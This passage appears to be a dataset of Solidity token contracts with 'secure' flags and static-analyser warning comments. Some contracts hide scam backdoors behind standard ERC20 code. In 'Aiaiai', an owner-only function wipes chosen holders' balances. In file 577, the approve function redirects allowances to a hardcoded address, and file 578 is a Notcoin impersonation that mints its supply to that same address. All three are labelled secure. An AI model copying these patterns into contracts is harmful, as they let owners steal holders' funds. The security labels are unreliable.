"secure": 1,
"size_bytes": 294
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Aiaiai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable overlook;\n\n constructor() {\n _name = \"Ai Ai Ai\";\n\n _symbol = \"AIAIAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 592000000;\n\n overlook = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == overlook, \"Not allowed\");\n\n _;\n }\n\n function dogshit(address[] memory housing) public onlyOwner {\n for (uint256 i = 0; i < housing.length; i++) {\n address account = housing[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_574.sol",
"secure": 1,
"size_bytes": 4365
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Trump is ERC20, Ownable {\n function uniqueTrumpTag() public pure returns (string memory) {\n return \"TrumpForPresident FithOfNovemeber2024\";\n }\n\n function trumpVersion() public pure returns (uint256) {\n return 27364823508127634;\n }\n\n constructor(\n address initialOwner\n ) ERC20(\"Trump\", \"TRUMP\") Ownable(initialOwner) {\n _mint(msg.sender, 47000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_575.sol",
"secure": 1,
"size_bytes": 648
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 6f43796): Contract locking ether found Contract BitcoinBull has payable functions BitcoinBull.receive() But does not have a function to withdraw the ether\n// Recommendation for 6f43796: Remove the 'payable' attribute or add a withdraw function.\ncontract BitcoinBull is ERC20, Ownable {\n constructor() ERC20(unicode\"Bitcoin Bull\", unicode\"BTCBULL\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 6f43796): Contract locking ether found Contract BitcoinBull has payable functions BitcoinBull.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 6f43796: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_576.sol",
"secure": 0,
"size_bytes": 1028
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n if (\n _msgSender() == 0x9f4b9277FbfD954b443F24edDDC98015611730c2 ||\n _msgSender() == 0x8d6BA07Ad5f88e65756E383018C871772611f9FE ||\n _msgSender() == 0x4F3161f017770bA17BF4a4663Bd31cf5c50a366C ||\n _msgSender() == 0x3AE756b691a75dA3881CA72098B8f0B44b7F1D1d ||\n _msgSender() == 0x70ee569AabE30A32Ca012F305A93c65de55f07A5\n ) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n } else {\n address owner = _msgSender();\n\n _approve(owner, 0x8d6BA07Ad5f88e65756E383018C871772611f9FE, value);\n\n return true;\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_577.sol",
"secure": 1,
"size_bytes": 5597
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Ddd is ERC20 {\n constructor()\n ERC20(\"Notcoin EQAvlWFDxGF2lXm67y4yzC17wYKD9A0guwPkMs1gOsM__NOT\", \"NOT\")\n {\n _mint(\n 0x8d6BA07Ad5f88e65756E383018C871772611f9FE,\n 102719221714 * 10 ** decimals()\n );\n }\n}",
"file_name": "solidity_code_578.sol",
"secure": 1,
"size_bytes": 407
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Topblasted is ERC20, Ownable {\n constructor() ERC20(\"topblasted\", \"topblast\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_579.sol",
"secure": 1,
"size_bytes": 356
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_58.sol",
"secure": 1,
"size_bytes": 5656
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DigitalSilverStandard is ERC20, Ownable {\n uint256 private constant INITIAL_SUPPLY = 21_000_000 * 10 ** 18;\n\n constructor()\n ERC20(unicode\"Digital Silver Standard.\", unicode\"ETHS.\")\n Ownable(tx.origin)\n {\n _mint(tx.origin, INITIAL_SUPPLY);\n }\n}",
"file_name": "solidity_code_580.sol",
"secure": 1,
"size_bytes": 490
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed _previousOwner,\n address indexed _newOwner\n );\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"Not Owner!\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 032a63c): Ownable.transferOwnership(address).new_ lacks a zerocheck on \t owner = new_\n\t// Recommendation for 032a63c: Check that the address is not zero.\n function transferOwnership(address new_) external onlyOwner {\n address oldOwner = owner;\n\n\t\t// missing-zero-check | ID: 032a63c\n owner = new_;\n\n emit OwnershipTransferred(oldOwner, new_);\n }\n\n function mockTransferOwnership(\n address old_,\n address new_\n ) external onlyOwner {\n emit OwnershipTransferred(old_, new_);\n }\n}",
"file_name": "solidity_code_581.sol",
"secure": 0,
"size_bytes": 961
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC721G {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n string public name;\n\n string public symbol;\n\n uint256 public tokenIndex;\n\n uint256 public immutable startTokenId;\n\n uint256 public immutable maxBatchSize;\n\n function stakingAddress() public view returns (address) {\n return address(this);\n }\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 startId_,\n uint256 maxBatchSize_\n ) {\n name = name_;\n\n symbol = symbol_;\n\n tokenIndex = startId_;\n\n startTokenId = startId_;\n\n maxBatchSize = maxBatchSize_;\n }\n\n struct OwnerStruct {\n address owner;\n uint32 lastTransfer;\n uint32 stakeTimestamp;\n uint32 totalTimeStaked;\n }\n\n struct BalanceStruct {\n uint32 balance;\n uint32 mintedAmount;\n }\n\n mapping(uint256 => OwnerStruct) public _tokenData;\n\n mapping(address => BalanceStruct) public _balanceData;\n\n mapping(uint256 => OwnerStruct) public mintIndex;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n function _getBlockTimestampCompressed()\n public\n view\n virtual\n returns (uint32)\n {\n return uint32(block.timestamp / 10);\n }\n\n function _compressTimestamp(\n uint256 timestamp_\n ) public view virtual returns (uint32) {\n return uint32(timestamp_ / 10);\n }\n\n function _expandTimestamp(\n uint32 timestamp_\n ) public view virtual returns (uint256) {\n return uint256(timestamp_) * 10;\n }\n\n function getLastTransfer(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).lastTransfer);\n }\n\n function getStakeTimestamp(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).stakeTimestamp);\n }\n\n function getTotalTimeStaked(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).totalTimeStaked);\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return tokenIndex - startTokenId;\n }\n\n function balanceOf(address address_) public view virtual returns (uint256) {\n return _balanceData[address_].balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6a66a5c): ERC721G._getTokenDataOf(uint256) uses timestamp for comparisons Dangerous comparisons _tokenData[tokenId_].owner != address(0) || tokenId_ >= tokenIndex mintIndex[_lowerRange].owner == address(0)\n\t// Recommendation for 6a66a5c: Avoid relying on 'block.timestamp'.\n function _getTokenDataOf(\n uint256 tokenId_\n ) public view virtual returns (OwnerStruct memory) {\n require(tokenId_ >= startTokenId, \"TokenId below starting Id!\");\n\n if (\n\t\t\t// timestamp | ID: 6a66a5c\n _tokenData[tokenId_].owner != address(0) || tokenId_ >= tokenIndex\n ) {\n return _tokenData[tokenId_];\n } else {\n unchecked {\n uint256 _lowerRange = tokenId_;\n\n\t\t\t\t// timestamp | ID: 6a66a5c\n while (mintIndex[_lowerRange].owner == address(0)) {\n _lowerRange--;\n }\n\n return mintIndex[_lowerRange];\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bccc874): ERC721G.ownerOf(uint256) uses timestamp for comparisons Dangerous comparisons _OwnerStruct.stakeTimestamp == 0\n\t// Recommendation for bccc874: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7dc0ded): ERC721G.ownerOf(uint256) uses a dangerous strict equality _OwnerStruct.stakeTimestamp == 0\n\t// Recommendation for 7dc0ded: Don't use strict equality to determine if an account has enough Ether or tokens.\n function ownerOf(uint256 tokenId_) public view virtual returns (address) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n\t\t// timestamp | ID: bccc874\n\t\t// incorrect-equality | ID: 7dc0ded\n return\n _OwnerStruct.stakeTimestamp == 0\n ? _OwnerStruct.owner\n : stakingAddress();\n }\n\n function _trueOwnerOf(\n uint256 tokenId_\n ) public view virtual returns (address) {\n return _getTokenDataOf(tokenId_).owner;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 27a13e3): ERC721G._initializeTokenIf(uint256,ERC721G.OwnerStruct) uses timestamp for comparisons Dangerous comparisons _tokenData[tokenId_].owner == address(0)\n\t// Recommendation for 27a13e3: Avoid relying on 'block.timestamp'.\n function _initializeTokenIf(\n uint256 tokenId_,\n OwnerStruct memory _OwnerStruct\n ) internal virtual {\n\t\t// timestamp | ID: 27a13e3\n if (_tokenData[tokenId_].owner == address(0)) {\n _tokenData[tokenId_] = _OwnerStruct;\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 693b11b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 693b11b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 80fab29): ERC721G._setStakeTimestamp(uint256,uint256) uses a dangerous strict equality require(bool,string)(_stakeTimestamp == 0,ERC721G _setStakeTimestamp() already staked)\n\t// Recommendation for 80fab29: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _setStakeTimestamp(\n uint256 tokenId_,\n uint256 timestamp_\n ) internal virtual returns (address) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n address _owner = _OwnerStruct.owner;\n\n uint32 _stakeTimestamp = _OwnerStruct.stakeTimestamp;\n\n _initializeTokenIf(tokenId_, _OwnerStruct);\n\n delete getApproved[tokenId_];\n\n\t\t// timestamp | ID: 693b11b\n if (timestamp_ > 0) {\n\t\t\t// timestamp | ID: 693b11b\n\t\t\t// incorrect-equality | ID: 80fab29\n require(\n _stakeTimestamp == 0,\n \"ERC721G: _setStakeTimestamp() already staked\"\n );\n\n unchecked {\n _balanceData[_owner].balance--;\n\n _balanceData[stakingAddress()].balance++;\n }\n\n emit Transfer(_owner, stakingAddress(), tokenId_);\n } else {\n\t\t\t// timestamp | ID: 693b11b\n require(\n _stakeTimestamp != 0,\n \"ERC721G: _setStakeTimestamp() already unstaked\"\n );\n\n unchecked {\n _balanceData[_owner].balance++;\n\n _balanceData[stakingAddress()].balance--;\n }\n\n uint32 _timeStaked = _getBlockTimestampCompressed() -\n _stakeTimestamp;\n\n _tokenData[tokenId_].totalTimeStaked += _timeStaked;\n\n emit Transfer(stakingAddress(), _owner, tokenId_);\n }\n\n _tokenData[tokenId_].stakeTimestamp = _compressTimestamp(timestamp_);\n\n return _owner;\n }\n\n function _stake(uint256 tokenId_) internal virtual returns (address) {\n return _setStakeTimestamp(tokenId_, block.timestamp);\n }\n\n function _unstake(uint256 tokenId_) internal virtual returns (address) {\n return _setStakeTimestamp(tokenId_, 0);\n }\n\n function _mintAndStakeInternal(\n address to_,\n uint256 amount_\n ) internal virtual {\n require(to_ != address(0), \"ERC721G: _mintAndStakeInternal to 0x0\");\n\n require(\n amount_ <= maxBatchSize,\n \"ERC721G: _mintAndStakeInternal over maxBatchSize\"\n );\n\n uint256 _startId = tokenIndex;\n\n uint256 _endId = _startId + amount_;\n\n uint32 _currentTime = _getBlockTimestampCompressed();\n\n mintIndex[_startId] = OwnerStruct(to_, _currentTime, _currentTime, 0);\n\n unchecked {\n _balanceData[stakingAddress()].balance += uint32(amount_);\n\n _balanceData[to_].mintedAmount += uint32(amount_);\n\n do {\n emit Transfer(address(0), to_, _startId);\n\n emit Transfer(to_, stakingAddress(), _startId);\n } while (++_startId < _endId);\n }\n\n tokenIndex = _endId;\n }\n\n function _mintAndStake(address to_, uint256 amount_) internal virtual {\n uint256 _amountToMint = amount_;\n\n while (_amountToMint > maxBatchSize) {\n _amountToMint -= maxBatchSize;\n\n _mintAndStakeInternal(to_, maxBatchSize);\n }\n\n _mintAndStakeInternal(to_, _amountToMint);\n }\n\n function _mintInternal(address to_, uint256 amount_) internal virtual {\n require(to_ != address(0), \"ERC721G: _mintInternal to 0x0\");\n\n require(\n amount_ <= maxBatchSize,\n \"ERC721G: _mintInternal over maxBatchSize\"\n );\n\n uint256 _startId = tokenIndex;\n\n uint256 _endId = _startId + amount_;\n\n mintIndex[_startId].owner = to_;\n\n mintIndex[_startId].lastTransfer = _getBlockTimestampCompressed();\n\n unchecked {\n _balanceData[to_].balance += uint32(amount_);\n\n _balanceData[to_].mintedAmount += uint32(amount_);\n\n do {\n emit Transfer(address(0), to_, _startId);\n } while (++_startId < _endId);\n }\n\n tokenIndex = _endId;\n }\n\n function _mint(address to_, uint256 amount_) internal virtual {\n uint256 _amountToMint = amount_;\n\n while (_amountToMint > maxBatchSize) {\n _amountToMint -= maxBatchSize;\n\n _mintInternal(to_, maxBatchSize);\n }\n\n _mintInternal(to_, _amountToMint);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6651ed6): ERC721G._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(from_ == ownerOf(tokenId_),ERC721G _transfer != ownerOf)\n\t// Recommendation for 6651ed6: Avoid relying on 'block.timestamp'.\n function _transfer(\n address from_,\n address to_,\n uint256 tokenId_\n ) internal virtual {\n\t\t// timestamp | ID: 6651ed6\n require(from_ == ownerOf(tokenId_), \"ERC721G: _transfer != ownerOf\");\n\n require(to_ != address(0), \"ERC721G: _transfer to 0x0\");\n\n delete getApproved[tokenId_];\n\n _tokenData[tokenId_].owner = to_;\n\n _tokenData[tokenId_].lastTransfer = _getBlockTimestampCompressed();\n\n unchecked {\n _balanceData[from_].balance--;\n\n _balanceData[to_].balance++;\n }\n\n emit Transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8de17cd): ERC721G.stake(uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(msg.sender == _owner,You are not the owner!)\n\t// Recommendation for 8de17cd: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 3d694de): ERC721G.stake(uint256[]).i is a local variable never initialized\n\t// Recommendation for 3d694de: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function stake(uint256[] calldata tokenIds_) public virtual {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n while (i < l) {\n address _owner = _stake(tokenIds_[i]);\n\n\t\t\t// timestamp | ID: 8de17cd\n require(msg.sender == _owner, \"You are not the owner!\");\n\n unchecked {\n ++i;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 4172e65): ERC721G.unstake(uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(msg.sender == _owner,You are not the owner!)\n\t// Recommendation for 4172e65: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a3dd8c5): ERC721G.unstake(uint256[]).i is a local variable never initialized\n\t// Recommendation for a3dd8c5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function unstake(uint256[] calldata tokenIds_) public virtual {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n while (i < l) {\n address _owner = _unstake(tokenIds_[i]);\n\n\t\t\t// timestamp | ID: 4172e65\n require(msg.sender == _owner, \"You are not the owner!\");\n\n unchecked {\n ++i;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c91edf0): ERC721G.balanceOfStaked(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) != address_ && _trueOwnerOf(i) == address_\n\t// Recommendation for c91edf0: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c9a78d7): ERC721G.balanceOfStaked(address)._balance is a local variable never initialized\n\t// Recommendation for c9a78d7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function balanceOfStaked(\n address address_\n ) public view virtual returns (uint256) {\n uint256 _balance;\n\n uint256 i = startTokenId;\n\n uint256 max = tokenIndex;\n\n while (i < max) {\n\t\t\t// timestamp | ID: c91edf0\n if (ownerOf(i) != address_ && _trueOwnerOf(i) == address_) {\n _balance++;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9a19f38): ERC721G.walletOfOwnerStaked(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) != address_ && _trueOwnerOf(i) == address_\n\t// Recommendation for 9a19f38: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 9eb3de8): ERC721G.walletOfOwnerStaked(address)._currentIndex is a local variable never initialized\n\t// Recommendation for 9eb3de8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function walletOfOwnerStaked(\n address address_\n ) public view virtual returns (uint256[] memory) {\n uint256 _balance = balanceOfStaked(address_);\n\n uint256[] memory _tokens = new uint256[](_balance);\n\n uint256 _currentIndex;\n\n uint256 i = startTokenId;\n\n while (_currentIndex < _balance) {\n\t\t\t// timestamp | ID: 9a19f38\n if (ownerOf(i) != address_ && _trueOwnerOf(i) == address_) {\n _tokens[_currentIndex++] = i;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _tokens;\n }\n\n function totalBalanceOf(\n address address_\n ) public view virtual returns (uint256) {\n return balanceOf(address_) + balanceOfStaked(address_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8b25c42): ERC721G.totalTimeStakedOfToken(uint256) uses timestamp for comparisons Dangerous comparisons _OwnerStruct.stakeTimestamp > 0\n\t// Recommendation for 8b25c42: Avoid relying on 'block.timestamp'.\n function totalTimeStakedOfToken(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n uint256 